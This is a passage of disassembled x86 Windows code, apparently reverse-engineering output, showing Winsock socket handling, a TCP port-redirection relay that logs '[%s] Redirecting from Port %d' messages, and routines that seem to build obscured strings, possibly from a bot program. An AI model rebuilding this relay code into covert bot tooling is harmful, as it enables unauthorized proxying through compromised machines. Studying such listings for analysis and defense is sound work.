[esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_401758 test al, al jmp short loc_42BDB8 ; --------------------------------------------------------------------------- loc_42BE21: ; CODE XREF: sub_42BB00+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx ; socket loc_42BE30: ; CODE XREF: sub_42BB00:loc_42BDB8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx ; socket cmp [esp+83Ch+var_707], 1 jnz loc_42BDBA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax nop call near ptr 71AB406Ah test eax, eax jnz loc_42BDBA push eax push 4 push offset dword_4472EC push esi call edi ; send push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi ; send push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi ; send mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020E0 push ebx call near ptr 71AB9639h nop pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BED6: ; CODE XREF: sub_42BB00+47j cmp ax, 2 jnz loc_42BF63 mov ebx, dword_511C94 loc_42BEE6: ; CODE XREF: sub_42BB00+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx ; select lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h nop call near ptr 71AB2D0Fh mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C30 test edi, edi jz short loc_42BF63 cmp edi, 0FFFFFFFFh jz short loc_42BF63 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42BEE6 loc_42BF63: ; CODE XREF: sub_42BB00+67j ; sub_42BB00+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42BB00 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C0A0 proc near ; CODE XREF: sub_401F37j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42C0B4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0B4: ; CODE XREF: sub_42C0A0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42C0C6 dec eax jz short loc_42C0E8 mov word ptr [esi+6], 1 loc_42C0C6: ; CODE XREF: sub_42C0A0+1Bj mov eax, 1 mov ecx, 6 loc_42C0D0: ; CODE XREF: sub_42C0A0+52j push ecx push eax push 2 call near ptr 71AB3B91h nop test eax, eax mov [esi+32h], eax jnz short loc_42C0F4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0E8: ; CODE XREF: sub_42C0A0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42C0D0 ; --------------------------------------------------------------------------- loc_42C0F4: ; CODE XREF: sub_42C0A0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 call near ptr 71AB2B66h nop mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax nop call near ptr 71AB3E00h test eax, eax jz short loc_42C139 mov eax, [esi+32h] push eax nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C139: ; CODE XREF: sub_42C0A0+86j cmp word ptr [esi+6], 1 jnz short loc_42C161 mov ecx, [esi+32h] push 3 push ecx nop call near ptr 71AB88D3h test eax, eax jz short loc_42C161 mov edx, [esi+32h] push edx nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C161: ; CODE XREF: sub_42C0A0+9Ej ; sub_42C0A0+AEj mov al, 1 pop esi add esp, 10h retn sub_42C0A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C1B0 proc near ; CODE XREF: sub_401DD4j var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42C1B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42C24A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42C231 mov ebx, dword_511C98 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx ; accept mov esi, eax test esi, esi jnz short loc_42C216 loc_42C202: ; CODE XREF: sub_42C1B0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx ; accept mov esi, eax test esi, esi jz short loc_42C202 loc_42C216: ; CODE XREF: sub_42C1B0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al call near ptr 71AB9639h nop test bl, bl jnz short loc_42C26A loc_42C231: ; CODE XREF: sub_42C1B0+39j ; sub_42C1B0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42C244: ; DATA XREF: ___:00442FACo mov eax, offset loc_42C231 retn ; --------------------------------------------------------------------------- loc_42C24A: ; CODE XREF: sub_42C1B0+2Bj cmp ax, 2 jnz short loc_42C231 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx call near ptr 71AB9639h nop test bl, bl jz short loc_42C231 loc_42C26A: ; CODE XREF: sub_42C1B0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42C1B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C2C0: ; CODE XREF: ___:00401F96j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43CEB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax call near ptr 71AB9639h nop loc_42C309: ; DATA XREF: ___:loc_42C321o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42C321: ; DATA XREF: ___:0044300Co mov eax, offset loc_42C309 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C350 proc near ; CODE XREF: sub_401C2Bj var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42C350 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 call near ptr 71AB664Dh nop test eax, eax jz short loc_42C3C7 loc_42C387: ; CODE XREF: ___:0042C456j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42C3C7: ; CODE XREF: sub_42C350+35j push 42h call sub_437AEA sub_42C350 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42C3EC push 1 mov ecx, eax call sub_4014F1 jmp short loc_42C3EE ; --------------------------------------------------------------------------- loc_42C3EC: ; CODE XREF: ___:0042C3DFj xor eax, eax loc_42C3EE: ; CODE XREF: ___:0042C3EAj mov dword_5103A4, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_5103A4 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40202C lea eax, [esp+1C0h] push eax mov eax, dword_5103A4 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40202C mov eax, dword_5103A4 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F37 test al, al jz loc_42C387 loc_42C45C: ; CODE XREF: ___:0042C46Dj mov eax, dword_5103A4 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DD4 jmp short loc_42C45C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C4C0 proc near ; CODE XREF: sub_4014F1j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42C4E2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43F190 call sub_4014B5 loc_42C4E2: ; CODE XREF: sub_42C4C0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43F18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42C4C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C530 proc near ; CODE XREF: sub_4014B5j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C530 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_40142E lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C5C0 proc near ; CODE XREF: sub_4020EFj ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42C5C0 endp ; --------------------------------------------------------------------------- align 10h loc_42C5D0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43CF28 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401FA0 push offset off_444D54 lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43F1A0 call sub_4015E1 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C640 proc near ; CODE XREF: ___:00401398j sub_401F5Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42C658 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C658: ; CODE XREF: sub_42C640+Dj mov eax, esi pop esi retn 4 sub_42C640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C670 proc near ; CODE XREF: sub_4011BDj jmp sub_4017A8 sub_42C670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C690: ; CODE XREF: ___:loc_40134Dj mov eax, 1000h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42C71C mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C6BC: ; CODE XREF: ___:0042C71Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx ; recv test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+18h] mov eax, [edx+0A1h] push ecx push eax call ebp ; send test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42C6BC loc_42C71C: ; CODE XREF: ___:0042C6AEj ; ___:0042C6E5j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42C738 push eax call near ptr 71AB9639h nop loc_42C738: ; CODE XREF: ___:0042C72Fj add esp, 1000h retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C770 proc near ; CODE XREF: sub_40166Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_444D54 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F1B0 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C770 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C7E0 proc near ; CODE XREF: ___:004013A7j sub_401B36j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42C7F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C7F8: ; CODE XREF: sub_42C7E0+Dj mov eax, esi pop esi retn 4 sub_42C7E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C810 proc near ; CODE XREF: sub_401217j jmp sub_4017A8 sub_42C810 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C830 proc near ; CODE XREF: sub_401537j var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42C9FA mov ebx, 1 push 6 push ebx push 2 call near ptr 71AB3B91h nop cmp eax, edi mov [esi+0A5h], eax jnz short loc_42C888 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C888: ; CODE XREF: sub_42C830+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx call near ptr 71AB2B66h nop lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42C8E2 mov eax, [esi+0A5h] push eax call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C8E2: ; CODE XREF: sub_42C830+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx call near ptr 71AB406Ah nop cmp eax, edi jnz short loc_42C912 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C912: ; CODE XREF: sub_42C830+C8j mov edx, [esi+0A1h] mov edi, dword_511CAC lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi ; ioctlsocket mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi ; ioctlsocket mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42C9FA mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C966: ; CODE XREF: sub_42C830+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx ; recv mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C990 nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42C9F2 loc_42C990: ; CODE XREF: sub_42C830+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp ; send mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx ; recv mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C9CB nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42C9F2 loc_42C9CB: ; CODE XREF: sub_42C830+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp ; send mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42C966 jmp short loc_42C9FA ; --------------------------------------------------------------------------- loc_42C9F2: ; CODE XREF: sub_42C830+15Ej ; sub_42C830+199j push 0Ah call near ptr 2850369h nop loc_42C9FA: ; CODE XREF: sub_42C830+27j ; sub_42C830+124j ... mov eax, [esi+0A1h] mov edi, dword_511C9C cmp eax, 0FFFFFFFFh jz short loc_42CA0E push eax call edi ; closesocket loc_42CA0E: ; CODE XREF: sub_42C830+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42CA1C push esi call edi ; closesocket loc_42CA1C: ; CODE XREF: sub_42C830+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42C830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 68h ; h db 0CFh ; Ο db 43h ; C db 0 db 64h ; d db 0A1h ; ‘ db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; db 0F1h ; ρ db 89h ; db 74h ; t db 24h ; $ db 4 db 0E8h ; θ db 0CEh ; Ξ db 54h ; T db 0FDh ; ύ db 0FFh db 68h ; h db 54h ; T db 4Dh ; M db 44h ; D db 0 db 8Dh ; db 4Eh ; N db 11h db 0C7h ; Η db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; Η db 6 db 0C0h ; ΐ db 0F1h ; ρ db 43h ; C db 0 db 0E8h ; θ db 0F4h ; τ db 4Ah ; J db 0FDh ; ύ db 0FFh db 8Bh ; db 4Ch ; L db 24h ; $ db 8 db 8Bh ; db 0C6h ; Ζ db 5Eh ; ^ db 64h ; d db 89h ; db 0Dh db 0 db 0 db 0 db 0 db 83h ; db 0C4h ; Δ db 10h db 0C3h ; Γ db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CB20: ; CODE XREF: ___:loc_4015FAj ; ___:00401FC8j push esi mov esi, ecx call sub_401B9F test byte ptr [esp+8], 1 jz short loc_42CB38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42CB38: ; CODE XREF: ___:0042CB2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42CB50 proc near ; CODE XREF: sub_401B9Fj jmp sub_4017A8 sub_42CB50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CB70 proc near ; CODE XREF: sub_4019F1j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42CB70 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017EE mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017EE push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014DD mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 24h push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42CDA8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx nop call near ptr 71AB2B66h mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h call near ptr 71AB3E00h nop test eax, eax jz short loc_42CC5B mov edx, [esi+9Dh] push edx call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42CC5B: ; CODE XREF: sub_42CB70+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42CD54 loc_42CC6F: ; CODE XREF: sub_42CB70+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jz loc_42CD35 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx call near ptr 71AC1028h nop mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42CD35 xor edi, edi cmp ebp, edi jz loc_42CD35 push 0A9h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42CCD5 mov ecx, eax call sub_40166D mov edi, eax loc_42CCD5: ; CODE XREF: sub_42CB70+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FDC lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FDC mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013DE loc_42CD35: ; CODE XREF: sub_42CB70+111j ; sub_42CB70+133j ... push 0FAh nop call near ptr 2850369h mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42CC6F loc_42CD54: ; CODE XREF: sub_42CB70+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42CD66 push eax call near ptr 71AB9639h nop loc_42CD66: ; CODE XREF: sub_42CB70+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017EE push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 24h loc_42CDA8: ; CODE XREF: sub_42CB70+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42CB70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42CE60 proc near ; CODE XREF: sub_402202j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42CE60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019C4 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_42CE60 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019C4 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019C4 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019C4 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 0EAh push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D150: ; CODE XREF: ___:loc_40204Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43D0A4 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42D2B7 push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh dd 7EED1BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah dd 